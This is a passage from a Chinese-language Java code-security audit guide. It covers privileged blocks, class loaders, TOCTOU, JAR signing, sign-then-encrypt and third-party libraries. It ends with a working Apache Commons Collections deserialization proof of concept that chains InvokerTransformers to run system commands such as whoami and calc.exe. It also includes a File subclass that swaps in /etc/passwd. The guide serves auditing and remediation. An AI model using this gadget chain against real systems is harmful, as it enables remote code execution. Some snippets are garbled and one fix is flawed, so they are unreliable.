FileInputStream fis = (FileInputStream) AccessController.doPrivileged(

new PrivilegedExceptionAction()

{

public FileInputStream run() throws FileNotFoundException

{

return new FileInputStream(fileName);

}

});

// do something with the file and then close it

}

catch (PrivilegedActionException e)

{

// forward to handler

}

}

该代码示例接受一个非法的路径或文件名作为参数。攻击者可以通过将受保护的文件路径传入,从而得到特权访问这些文件。

审计策略

对特权区域的流程做上下文检查。

修复方案

1、对文件做清洗

private void privilegedMethod(final String fileName) throws

FileNotFoundException,InvalidArgumentException

{

final String cleanFileName;

cleanFileName = cleanAFileNameAndPath(fileName);

try

{

FileInputStream fis = (FileInputStream)

AccessController.doPrivileged(new PrivilegedExceptionAction()

{

public FileInputStream run() throws FileNotFoundException

{

return new FileInputStream(cleanFileName);

}

});

// do something with the file and then close it

}

catch (PrivilegedActionException e)

{

// forward to handler and log

}

}

2、内置文件名与路径

static final String FILEPATH = "/path/to/protected/file/fn.ext";

private void privilegedMethod() throws FileNotFoundException

{

try

{

FileInputStream fis = (FileInputStream)

AccessController.doPrivileged(new PrivilegedExceptionAction()

{

public FileInputStream run() throws FileNotFoundException

{

return new FileInputStream(FILEPATH);

}

});

// do something with the file and then close it

}

catch (PrivilegedActionException e)

{

// forward to handler and log

}

}

允许一个非特权用户访问任意的受保护文件或其他资源本身就是不安全的设计。可以考虑硬

编码资源名称,或者是只允许用户在一个特定的选项列表中进行选择,这些选项会间接映射

到对应的资源名称。这个正确示例同时显式硬编码文件名与限制包含特权块方法中使用的变

量。这就确保了恶意文件无法通过利用特权方法被加载。

特权区敏感方法定义

介绍

java.security.AccessController类是Java安全机制的一部分,负责实施可应用的安全策略。该类静态的doPrivileged()方法以不严格的安全策略执行一个代码块。doPrivileged()方法将会阻止权限检查在方法调用栈上进一步往下进行。因此,任何包含doPrivileged()代码块的方法或者类都有责任确保敏感操作访问的安全性。doPrivileged()方法一定不能泄露敏感信息或者功能。例如,假设一个Web应用程序为Web服务维护一个敏感的口令文件,同时也会加载运行不受信任的代码。那么,Web应用程序可以实施一种安全策略,来防止自身的大部分代码和不受信任代码访问该敏感文件。由于必须要提供添加和修改口令的机制,可通过doPrivileged()特权快来临时允许不受信任

代码访问敏感文件来管理密码。这种情况下,任何特权块必须防止不受信任代码访问口令信息。

漏洞示例

public class PasswordManager

{

public static void changePassword() throws MyAppException

{

// ...

FileInputStream fin = openPasswordFile();

// test old password with password in filecontents; change password

// then close the password file

// ...

}

public static FileInputStream openPasswordFile()

throws FileNotFoundException

{

final String passwordFile = "password";

FileInputStream fin = null;

try

{

fin = AccessController.doPrivileged(new PrivilegedExceptionAction<FileInputStream>()

{

public FileInputStream run() throws FileNotFoundException

{

// Sensitive action; can't be done outside privileged block

return new FileInputStream(passwordFile);

}

});

}

catch (PrivilegedActionException x)

{

// Handle exceptions…

}

return fin;

}

}

在上述示例中,doPrivileged()方法被openPasswordFile()方法所调用。openPasswordFile()函数通过特权块代码获取并返回口令文件的FileInputStream流。由于openPasswordFile()方法为public,它可能被不受信任代码所调用,从而引起敏感信息泄漏。

审计策略

全局审计特权区代码

修复方案

public class PasswordManager

{

public static void changePassword() throws MyAppException

{

try

{

FileInputStream fin = openPasswordFile();

// test old password with password in filecontents; change password

// then close the password file

}

// Handle exceptions…

}

private static FileInputStream openPasswordFile()

throws FileNotFoundException

{

final String passwordFile = "password";

FileInputStream fin = null;

try

{

fin = AccessController.doPrivileged(new PrivilegedExceptionAction<FileInputStream>()

{

public FileInputStream run() throws FileNotFoundException

{

// Sensitive action; can't be done outside privileged block

return new FileInputStream(passwordFile);

}

});

}

catch (PrivilegedActionException x)

{

// Handle exceptions…

}

return fin;

}

}

该正确代码将openPasswordFile()声明为private来消减漏洞。因此,非受信调用者可以调用changePassword()但却不能直接调用openPasswordFile()函数。

自定义类加载器(ClassLoader

介绍

在自定义类加载器必须覆盖getPermissions()函数时,在具体实现时,在为代码源分配任意权限前,需要调用超类的getPermissions()函数,以顾及与遵循系统的默认安全策略。忽略了超类getPermissions()方法的自定义类加载器可能会加载权限提升了的非受信类。自定义类加载器时不要直接继承抽象的ClassLoader类。

漏洞示例

public class MyClassLoader extends URLClassLoader

{

@Override

protected PermissionCollection getPermissions(CodeSource cs)

{

PermissionCollection pc = new Permissions();

// allow exit from the VM anytime

pc.add(new RuntimePermission("exitVM"));

return pc;

}

// Other code…

}

该错误代码示例展示了一个继承自URLClassLoader类的自定义类加载器的一部分。它覆盖了getPermissions()方法,但是并未调用其超类的限制性更强的getPermissions()方法。因此,该自定义类加载器加载的类具有的权限完全独立于系统全局策略文件规定的权限。实际上,该类的权限覆盖了这些权限。

审计策略

全局搜索以下关键字

URLClassLoader

ClassLoader

getPermissions

loadClass

修复方案

public class MyClassLoader extends URLClassLoader

{

@Override

protected PermissionCollection getPermissions(CodeSource cs)

{

PermissionCollection pc = super.getPermissions(cs);

// allow exit from the VM anytime

pc.add(new RuntimePermission("exitVM"));

return pc;

}

// Other code…

}

在该正确代码示例中,getPermissions()函数调用了super.getPermissions()。结果,除了自定义策略外,系统全局的默认安全策略也被应用。

TOCTOU漏洞

介绍

基于不受信任数据源的安全检查可以被攻击者所绕过。在使用非受信数据源时,必须确保被检查的输入和实际被处理的输入相同。如果输入在检查和使用之间发生了变化,便会发生“time-of-check, time-of-use”(TOCTOU)漏洞。唯一正确的对策是保持数据不可变从而确保安全检查以及特权操作时使用的是同样的数据。在做安全检查之前,可以先对不受信任的对象或者参数做防御性拷贝,然后基于这份拷贝做安全检查。这样的拷贝必须要是深拷贝。待检查对象的clone()方法实现可能只是生成一个浅拷贝,仍然可能会带来危害。另外clone()方法的实现本身可能就是由攻击者所提供。

漏洞示例

public RandomAccessFile openFile(final java.io.File f)

{

RandomAccessFile rf = null;

try

{

askUserPermission(f.getPath());

// ...

rf = AccessController.doPrivileged(new

PrivilegedExceptionAction<RandomAccessFile>()

{

public RandomAccessFile run() throws FileNotFoundException

{

return new RandomAccessFile(f, "r");

}

});

}

catch(IOException e)

{

// handle error

}

catch (PrivilegedActionException e)

{

// handle error

}

return rf;

}

这个不符合要求的代码示例描述了JDK1.5版本java.io包中的一个安全漏洞。在此版本中,java.io.File类不是final类,它允许攻击者继承合法的File类来提供一个非受信参数。在这种方式下,覆盖getPath()函数以后,通过检查函数被调用的次数,函数第一次被调用时返回一个能够通过安全检查的文件路径,但第二次被调用时返回保存敏感信息的文件,如/etc/passwd 文件,这样就绕过了安全检查。这就是TOCTOU漏洞的一个例子。攻击者可将java.io.File按如下方式扩展:

public class BadFile extends java.io.File

{

private int count;

// ... Other omitted code

public String getPath()

{

return (++count == 1) ? "/tmp/foo" : "/etc/passwd";

}

}

然后用BadFile类型的文件对象调用有漏洞的openFile()函数。安全管理器AccessController.doPrivileged检测的时候第一次检测的是/tmp/foo是一个正常的文件但是检测完到调用的时候缺调用了/etc/passwd

审计策略

全局搜索关键字

Clone

Jdk版本

通读安全管理器的逻辑流程

修复方案

public RandomAccessFile openFile(final java.io.File f)

{

RandomAccessFile rf = null;

try

{

final java.io.File copy = new java.io.File(f.getPath());

askUserPermission(copy.getCanonicalPath());

// ...

rf = AccessController.doPrivileged(new

PrivilegedExceptionAction<RandomAccessFile>()

{

public RandomAccessFile run() throws FileNotFoundException

{

return new RandomAccessFile(f, "r");

}

});

}

catch(IOException e)

{

// handle error

}

catch (PrivilegedActionException e)

{

// handle error

}

return rf;

}

该正确代码示例确保java.io.File对象是可信的,不管它是否是final型的。该示例使用标准构造器创建了一个新的文件对象。这样可以保证在File对象上调用的任何函数均来自标准类库,而不是被攻击者所覆盖过的函数。注意,使用clone()函数而非openFile()函数会拷贝攻击者的类,而这是不可取的。

默认jar签名机制

介绍

基于Java的技术通常使用Java Archive(JAR)特性为独立于平台的部署打包文件。例如,对于EnterpriseJavaBeans(EJB)、MIDlets(J2ME)和Weblogic Server J2EE等应用,JAR文件是首选的分发包方式。Java Web Start提供的即点即击的安装也依赖于JAR文件格式打包。有需要时,厂商会为自己的JAR文件签名。这可以证明代码的真实性,但却不能保证代码的安全性。客户代码可能缺乏代码签名的程序化检查。例如,URLClassLoader及其子类实例与java.util.jar自动验证JAR文件的签名。开发人员自定义的类加载器可能缺乏这项检查。而且,即便是在URLClassLoader中,自动验证也只是进行完整性检查,由于检查使用的是JAR包中未经验证的公钥,因此无法对加载类的真实性进行认证。合法的JAR文件可能会被恶意JAR文件替换,连同其中的公钥和摘要值也被适当替换和修改。默认的自动签名验证过程仍然可以使用,但仅仅借助它是不够的。使用默认的自动签名验证过程的系统必须执行额外的检查来确保签名的正确性((如与一个已知的受信任签名进行比较)。

漏洞示例

public class JarRunner

{

public static void main(String[] args) throws IOException,

ClassNotFoundException, NoSuchMethodException,

InvocationTargetException

{

URL url = new URL(args[0]);

// Create the class loader for theapplication jar file

JarClassLoader cl = new JarClassLoader(url);

// Get the application's main class name

String name = cl.getMainClassName();

// Get arguments for the application

String[] newArgs = new String[args.length - 1];

System.arraycopy(args, 1, newArgs, 0, newArgs.length);

// Invoke application's main class

cl.invokeClass(name, newArgs);

}

}

final class JarClassLoader extends URLClassLoader

{

private URL url;

public JarClassLoader(URL url)

{

super(new URL[] {url});

this.url = url;

}

public String getMainClassName() throws IOException

{

URL u = new URL("jar", "", url + "!/");

JarURLConnection uc = (JarURLConnection) u.openConnection();

Attributes attr = uc.getMainAttributes();

return attr != null ? attr.getValue(Attributes.Name.MAIN_CLASS) : null;

}

public void invokeClass(String name, String[] args)throws ClassNotFoundException,NoSuchMethodException,InvocationTargetException

{

Class c = loadClass(name);

Method m = c.getMethod("main", new Class[] {args.getClass()});

m.setAccessible(true);

int mods = m.getModifiers();

if (m.getReturnType() != void.class || !Modifier.isStatic(mods)

|| !Modifier.isPublic(mods))

{

throw new NoSuchMethodException("main");

}

try

{

m.invoke(null, new Object[] {args});

}

catch (IllegalAccessException e)

{

System.out.println("Access denied");

}

}

}

该错误示例代码展示了一个JarRunner演示程序,它可以动态执行JAR文件中的某个特定类。该程序创建了一个JarClassLoader,它通过不信任的网络如Internet来加载程序更新、插件或补丁。第一个参数是获取代码的URL,其他参数指定传递给加载类的参数。JarRunner使用反射来调用被加载类的main()方法。不幸的是,默认情况下,JarClassLoader使用JAR文件中包含的公钥来验证签名。

审计策略

全局搜索下面的jar包或者关键字

URLClassLoader

java.util.jar

修复方案

public void invokeClass(String name, String[] args)throws ClassNotFoundException,NoSuchMethodException,InvocationTargetException, GeneralSecurityException,IOException

{

Class c = loadClass(name);

Certificate[] certs =c.getProtectionDomain().getCodeSource().getCertificates();

if(certs == null)

{

//return, do not execute if unsigned

System.out.println("No signature!");

return;

}

KeyStore ks = KeyStore.getInstance("JKS");

ks.load(newFileInputStream(System.getProperty("user.home"+ File.separator +"keystore.jks")), getKeyStorePassword());

// getthe certificate stored in the keystore with "user" as alias

Certificate pubCert = ks.getCertificate("user");

// checkwith the trusted public key, else throws exception

certs[0].verify(pubCert.getPublicKey());

// ...other omitted code

}

当本地系统不能可靠的验证签名时,调用程序必须通过程序化的方式验证签名。具体做法是,程序必须从加载类的代码源(Code-Source)中获取证书链,然后检查证书是否属于某个事先获取并保存在本地密钥库(KeyStore)中的受信任签名者。

环境变量

介绍

因为 System.getENV() 需要用和操作系统相关的关键字才能获得环境变量的值。当程序代码跨操作系统移植时,代码出错。比如不提倡使用 System.getE getenv NV(“UIDS”)。

漏洞示例

“UIDS”是操作系统相关的关键字,不同操作系统会提供不同关键字,Linux 下是 UIDS,Windows下 UIDSNAME。一旦跨平台移植,代码出问题。提倡使用System.getProperty(“uIDS.name”)。“uIDS.name”是 JVM 保留的关键字,平台无关,使用安全。

审计策略

全局搜索 System. Getenv

修复方案

使用 System.getProperty,注意相关参数的替换。

数据签名和加密

介绍

敏感数据传输过程中要防止窃取和恶意篡改。使用安全的加密算法加密传输对象可以保护数据。这就是所谓的对对象进行密封。而对密封的对象进行数字签名则可以防止对象被非法篡改,保持其完整性。在以下场景中,需要对对象密封和数字签名来保证数据安全:

1) 序列化或传输敏感数据

2) 没有诸如SSL传输通道一类的安全通信通道或者对于有限的事务来说代价太高

3) 敏感数据需要长久保存(比如在硬盘驱动器上)

应该避免使用私有加密算法。这类算法大多数情况下会引入不必要的漏洞。

漏洞示例

class SerializableMap<K, V>implements Serializable

{

final static long serialVersionUID =45217497203262395L;

private Map<K, V> map;

public SerializableMap()

{ map = new HashMap<K, V>();}

public V getData(K key)

{ return map.get(key); }

public void setData(K key, V data)

{ map.put(key, data); }

}

public class MapSerializer

{

public static SerializableMap<String,Integer> buildMap()

{

SerializableMap<String, Integer> map= new SerializableMap<String,Integer>();

map.setData("John Doe", newInteger(123456789));

map.setData("Richard Roe", newInteger(246813579));

return map;

}

public static voidInspectMap(SerializableMap<String, Integer> map)

{

System.out.println("John Doe's numberis " + map.getData("John Doe"));

System.out.println("Richard Roe'snumber is "+ map.getData("Richard Roe"));

}

}

示例一 未做加密和签名:

public static void main(String[] args)throws IOException,ClassNotFoundException

{

// Build map

SerializableMap<String, Integer> map= buildMap();

// Serialize map

ObjectOutputStream out = newObjectOutputStream(new FileOutputStream("data"));

out.writeObject(map);

out.close();

// Deserialize map

ObjectInputStream in = newObjectInputStream(new FileInputStream("data"));

map = (SerializableMap<String,Integer>) in.readObject();

in.close();

// Inspect map

InspectMap(map);

}

该错误代码没有采取任何措施抵御二进制数据传输过程中可能遭遇的字节流操纵攻击。因此,任何人都可以对序列化的流数据实施逆向工程从而恢复HashMap中的数据。

示例二 仅做了加密:

public static void main(String[] args)throws IOException,

GeneralSecurityException,ClassNotFoundException

{

// Build map

SerializableMap<String, Integer> map= buildMap();

// Generate sealing key & seal map

KeyGenerator generator =KeyGenerator.getInstance("AES");

generator.init(new SecureRandom());

Key key = generator.generateKey();

Cipher cipher =Cipher.getInstance("AES");

cipher.init(Cipher.ENCRYPT_MODE, key);

SealedObject sealedMap = newSealedObject(map, cipher);

// 上面的代码通过AESmap做加密

// 下面开始序列化map

ObjectOutputStream out = newObjectOutputStream(new FileOutputStream("data"));

out.writeObject(sealedMap);

out.close();

// 下面通过发序列化map来传输数据

ObjectInputStream in = new ObjectInputStream(newFileInputStream("data"));

sealedMap = (SealedObject) in.readObject();

in.close();

// Unseal map

cipher =Cipher.getInstance("AES");

cipher.init(Cipher.DECRYPT_MODE, key);

map = (SerializableMap<String,Integer>) sealedMap.getObject(cipher);

// Inspect map

InspectMap(map);

}

该程序未对数据进行签名,因此无法进行可靠性验证。

示例三 先加密后签名:

public static void main(String[] args)throws IOException,

GeneralSecurityException,ClassNotFoundException

{

// Build map

SerializableMap<String, Integer> map= buildMap();

// Generate sealing key & seal map

KeyGenerator generator =KeyGenerator.getInstance("AES");

generator.init(new SecureRandom());

Key key = generator.generateKey();

Cipher cipher =Cipher.getInstance("AES");

cipher.init(Cipher.ENCRYPT_MODE, key);

SealedObject sealedMap = newSealedObject(map, cipher);

// Generate signing public/private key pair& sign map

//下面开始签名

KeyPairGenerator kpg =KeyPairGenerator.getInstance("RSA");

KeyPair kp = kpg.generateKeyPair();

Signature sig = Signature.getInstance("SHA256withRSA");

SignedObject signedMap = newSignedObject(sealedMap, kp.getPrivate(), sig);

// Serializemap

ObjectOutputStream out = newObjectOutputStream(new FileOutputStream("data"));

out.writeObject(signedMap);

out.close();

// Deserialize map

ObjectInputStream in = newObjectInputStream(new FileInputStream("data"));

signedMap = (SignedObject) in.readObject();

in.close();

// Verify signature and retrieve map

if (!signedMap.verify(kp.getPublic(), sig))

{

throw new GeneralSecurityException("Mapfailed verification");

}

sealedMap = (SealedObject)signedMap.getObject();

// Unseal map

cipher =Cipher.getInstance("AES");

cipher.init(Cipher.DECRYPT_MODE, key);

map = (SerializableMap<String,Integer>) sealedMap.getObject(cipher);

// Inspect map

InspectMap(map);

}

这段代码先将对象加密然后为其签名。任何恶意的第三方可以截获原始加密签名后的数据,

剔除原始的签名,并对密封的数据加上自己的签名。这样一来,由于对象被加密和签名(只

有在签名验证通过后才可以解密对象),恶意第三方和正常的接收者均无法得到原始的消息

内容。接收者无法确认发件人的身份,除非可以通过安全通道获得合法发件人的公开密钥。

三个国际电报电话咨询委员会(CCITTX.509标准协议中有一个容易受到这种攻击。

审计方法

对于涉及数据需要传输的地方需要人工审计。重点关注业务中关于签名和加密方面的场景。一般在支付,api校验,认证等业务场景中比较常见。

修复方案

先签名后加密

import javax.crypto.Cipher;

import javax.crypto.KeyGenerator;

import javax.crypto.SealedObject;

// Other import…

public static void main(String[] args)throws IOException,

GeneralSecurityException,ClassNotFoundException

{

// Build map

SerializableMap<String, Integer> map= buildMap();

// Generate signing public/private key pair& sign map

KeyPairGenerator kpg =KeyPairGenerator.getInstance("RSA");

KeyPair kp = kpg.generateKeyPair();

Signature sig =Signature.getInstance("SHA256withRSA");

SignedObject signedMap = newSignedObject(map, kp.getPrivate(), sig);

// Generatesealing key & seal map

KeyGenerator generator =KeyGenerator.getInstance("AES");

generator.init(new SecureRandom());

Key key = generator.generateKey();

Cipher cipher =Cipher.getInstance("AES");

cipher.init(Cipher.ENCRYPT_MODE, key);

SealedObject sealedMap = newSealedObject(signedMap, cipher);

// Serializemap

ObjectOutputStream out = newObjectOutputStream(new FileOutputStream(

"data"));

out.writeObject(sealedMap);

out.close();

// Deserialize map

ObjectInputStream in = newObjectInputStream(new FileInputStream("data"));

sealedMap = (SealedObject) in.readObject();

in.close();

// Unseal map cipher =Cipher.getInstance("AES");

cipher.init(Cipher.DECRYPT_MODE, key);

signedMap = (SignedObject)sealedMap.getObject(cipher);

// Verify signature and retrieve map

if (!signedMap.verify(kp.getPublic(), sig))

{

throw newGeneralSecurityException("Map failed verification");

}

map = (SerializableMap<String,Integer>) signedMap.getObject();

// Inspect map

InspectMap(map);

}

这段正确的代码先为对象签名然后再加密。这样既能保证数据的真实可靠性,又能防止“中间人攻击”(man-in-middle attacks)。

例外情况:

1) 为已加密对象签名在特定场景下是合理的,比如验证从其他地方接收的加密对象的真实

性。这是对于被机密对象本身而非其内容的保证。

2) 签名和加密仅仅对于必须跨过信任边界的对象是必需的。始终位于信任边界内的对象不

需要签名或加密。例如,如果某网络全部位于信任边界内,始终处于该网络上的对象无

需签名或加密。

第三方组件安全

介绍

这个比较好理解,诸如Struts2、不安全的编辑控件、XML解析器以及可被其它漏洞利用的如commons-collections:3.1等第三方组件,这个可以在程序pom文件中查看是否有引入依赖。即便在代码中没有应用到或很难直接利用,也不应该使用不安全的版本,一个产品的周期很长,很难保证后面不会引入可被利用的漏洞点。

审计策略

熟悉常见的java框架安全问题。

修复方案

使用最新或安全版本的第三方组件

Apache Commons Collections

介绍

项目地址
官网:   http://commons.apache.org/proper/commons-collections/

Github:  https://github.com/apache/commons-collections

org.apache.commons.collections提供一个类包来扩展和增加标准的Java collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。

Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。

JAVA反射机制

   在运行状态中:

      对于任意一个类,都能够判断一个对象所属的类;

      对于任意一个类,都能够知道这个类的所有属性和方法;

      对于任意一个对象,都能够调用它的任意一个方法和属性;

    这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

漏洞示例

Apache Commons Collections < 3.2.2版本存在的反序列化漏洞。CVE-2015-7450

import java.io.File;

import java.io.FileInputStream;

import java.io.FileNotFoundException;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.annotation.Retention;

import java.lang.reflect.Constructor;

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

 

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

 

 

 

public class POC_Test{

    public static void main(String[]args) throws Exception {

        //execArgs: 待执行的命令数组

        //String[] execArgs = newString[] { "sh", "-c", "whoami &gt;/tmp/fuck" };

 

        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组

       Transformer[] transformers = new Transformer[] {

            new ConstantTransformer(Runtime.class),//返回一个Runtime.class常量

            /*

            由于Method类的invoke(Objectobj,Object args[])方法的定义

            所以在反射内写new Class[] {Object.class, Object[].class }

            正常POC流程举例:

           ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");

            */

            new InvokerTransformer(

                "getMethod",

                new Class[]{String.class, Class[].class },

                new Object[]{"getRuntime", new Class[0] }

            ), //通过反射得到getMethod(“getRuntime”,null)

            new InvokerTransformer(

                "invoke",

                new Class[]{Object.class,Object[].class },

                new Object[] {null,null }

            ), //得到 invoke(null,null)

            new InvokerTransformer(

                "exec",

                new Class[]{String[].class },

                new Object[] {"whoami" }

                //new Object[] {execArgs }

            )  //得到 exec(“whoami”)

        };

 

        //transformedChain:ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作

        Transformer transformedChain= new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict

        //Map&lt;String,String&gt; BeforeTransformerMap = new HashMap&lt;String,String&gt;();

        Map<String,String>BeforeTransformerMap = new HashMap<String,String>();

 

       BeforeTransformerMap.put("hello", "hello");

 

        //Map数据结构,转换后的Map

       /*

       TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。

            第一个参数为待转化的Map对象

            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)

            第三个参数为Map对象内的value要经过的转化方法。

       */

        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));

        Map AfterTransformerMap =TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

 

       Class cl =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

 

        Constructor ctor =cl.getDeclaredConstructor(Class.class, Map.class);

        ctor.setAccessible(true);

        Object instance =ctor.newInstance(Target.class, AfterTransformerMap);

        File f = newFile("temp.bin");

        ObjectOutputStream out = newObjectOutputStream(new FileOutputStream(f));

        out.writeObject(instance);

    }

}

 

/*

思路:构建BeforeTransformerMap的键值对,为其赋值,

     利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme

     对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行

     执行本质:((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)

     利用反射调用Runtime() 执行了一段系统命令,Runtime.getRuntime().exec()

 

*/

 

 

public static void main(String[] args) throws Exception {

    //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组

   Transformer[] transformers = new Transformer[] {

        newConstantTransformer(Runtime.class),

        newInvokerTransformer("getMethod",

            new Class[]{String.class, Class[].class }, new Object[] {

            "getRuntime",new Class[0] }),

        newInvokerTransformer("invoke",

            new Class[]{Object.class, Object[].class }, new Object[] {

            null, new Object[0] }),

        newInvokerTransformer("exec",

            new Class[]{String.class }, new Object[] {"calc.exe"})};

 

    //首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap

    Transformer transformedChain =new ChainedTransformer(transformers);

 

    Map innerMap = new hashMap();

    innerMap.put("1","zhang");

 

    Map outerMap =TransformedMap.decorate(innerMap, null, transformerChain);

   //触发Map中的MapEntry产生修改(例如setValue()函数

    Map.Entry onlyElement = (Entry)outerMap.entrySet().iterator().next();

   

   onlyElement.setValue("foobar");

    /*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:

       首先通过ConstantTransformer获得Runtime类

       进一步通过反射调用getMethod找到invoke函数

       最后再运行命令calc.exe。

    */

}

 

审计策略

通读代码,找出可利用的点

修复方案

升级到最新版本。从源码角度讲审计方法如下:

Apache Commons Collections 已经在在3.2.2版本中做了修复,对这些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括CloneTransformer,ForClosure, InstantiateFactory,InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory,WhileClosure。

如,InvokerTransformer类重写了序列化相关方法writeObject()和 readObject()。

如果没有开启不安全类的序列化,则会抛出UnsupportedOperationException异常:


Copyright © 成都商务服务交流群@2017